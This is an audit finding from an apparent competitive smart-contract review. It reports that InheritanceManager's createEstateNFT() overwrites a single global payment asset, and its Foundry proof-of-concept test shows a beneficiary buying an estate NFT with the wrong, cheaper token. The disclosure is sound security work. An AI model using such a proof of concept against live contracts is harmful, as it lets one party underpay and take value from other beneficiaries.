Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: low
Valid

InheritanceManager::createEstateNFT() can change value of assetToPay every time it is called, leading to incorrect accounting when settling NFTs on-chain

vanshikag

Summary

InheritanceManager::createEstateNFT() can change the value of assetToPay every time it is called. assetToPay is an individual variable and not part of a mapping with each minted NFT. This leads to a mismatch of value and asset any time the asset is changed. E.g., NFT1 is minted at a value of 50 USDC. assetToPay is set to USDC. NFT2 is minted with the value of 0.5 WETH, setting the assetToPay as WETH. Now, if beneficiaries try to settle NFT1 on-chain, it has a value of 50 WETH. The contract does have a workaround to this. The beneficiaries can appoint a trustee, who can change the assetToPay or value every time an NFT needs to be settled.

Impact

Incorrect accounting. Impact is proportional to the difference between the assets used to set NFT values. The correct NFT value being payed out when the NFT is being settled on-chain is one of the core invariants of the contract, which is violated by this bug. Since the contract does have a way to prevent this, this bug is a low.

Proof of Concept

Copy the following into your test folder and run the test.

//SPDX-License-Identifier: MIT
​
pragma solidity 0.8.26;
​
import {Test, console} from "forge-std/Test.sol";
import {InheritanceManager} from "../src/InheritanceManager.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
​
contract InheritanceManagerTest is Test {
InheritanceManager im;
ERC20Mock usdc;
ERC20Mock weth;
​
address owner = makeAddr("owner");
address alice = makeAddr("alice");
address bob = makeAddr("bob");
​
function setUp() public {
vm.prank(owner);
im = new InheritanceManager();
usdc = new ERC20Mock();
weth = new ERC20Mock();
}
function test_NFTAssetToPay() public {
vm.startPrank(owner);
// >1 beneficiaries needed for asset-split logic.
im.addBeneficiery(alice);
im.addBeneficiery(bob);
im.createEstateNFT("NFT1", 5e17, address(weth)); // value = 0.5
im.createEstateNFT("NFT2", 5e19, address(usdc)); // value = 50
// mock token decimals are not changed from ERC20 default 18.
vm.stopPrank();
vm.warp(1 + 90 days);
usdc.mint(alice, 5e17);
weth.mint(alice, 5e17);
vm.startPrank(alice);
im.inherit();
usdc.approve(address(im), 5e17);
im.buyOutEstateNFT(1);
// alice pays NFT1's value in USDC instead of WETH, getting the NFT for much cheaper.
// the same situation could happen in reverse with alice paying WETH for a value in USDC.
// balance of other beneficiaries cannot be used to test this. that is a different bug.
assertEq(2.5e17, usdc.balanceOf(alice));
assertEq(5e17, weth.balanceOf(alice));
}
}

Test result:

//forge test --mt test_NFTAssetToPay -vvv
[⠢] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/ProofOfConcept.t.sol:InheritanceManagerTest
[PASS] test_NFTAssetToPay() (gas: 513618)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.71ms (815.18µs CPU time)
​
Ran 1 test suite in 420.79ms (6.71ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommendations

Store the value and asset as a mapping or struct for each NFT, which allows NFTs with different assets to be handled properly.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

global asset in NFT values

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.